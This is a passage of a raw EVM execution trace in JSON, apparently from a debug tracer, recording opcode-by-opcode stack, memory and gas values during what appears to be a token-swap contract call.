,"0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13898,"op":"SHL","gas":104858,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13899,"op":"SUB","gas":104855,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13900,"op":"DUP2","gas":104852,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13901,"op":"AND","gas":104849,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0xffffffffffffffffffffffffffffffffffffffff","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13902,"op":"DUP2","gas":104846,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13903,"op":"EQ","gas":104843,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13904,"op":"PUSH2","gas":104840,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13907,"op":"JUMPI","gas":104837,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13912,"op":"JUMPDEST","gas":104827,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13913,"op":"POP","gas":104826,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13914,"op":"JUMP","gas":104824,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13477,"op":"JUMPDEST","gas":104816,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13478,"op":"SWAP4","gas":104815,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x147e","0x1e0","0x1c0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13479,"op":"SWAP3","gas":104812,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x1e0","0x1c0","0x0","0x147e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13480,"op":"POP","gas":104809,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x147e","0x1c0","0x0","0x1e0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13481,"op":"POP","gas":104807,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x147e","0x1c0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":13482,"op":"POP","gas":104805,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x147e","0x1c0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001e0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000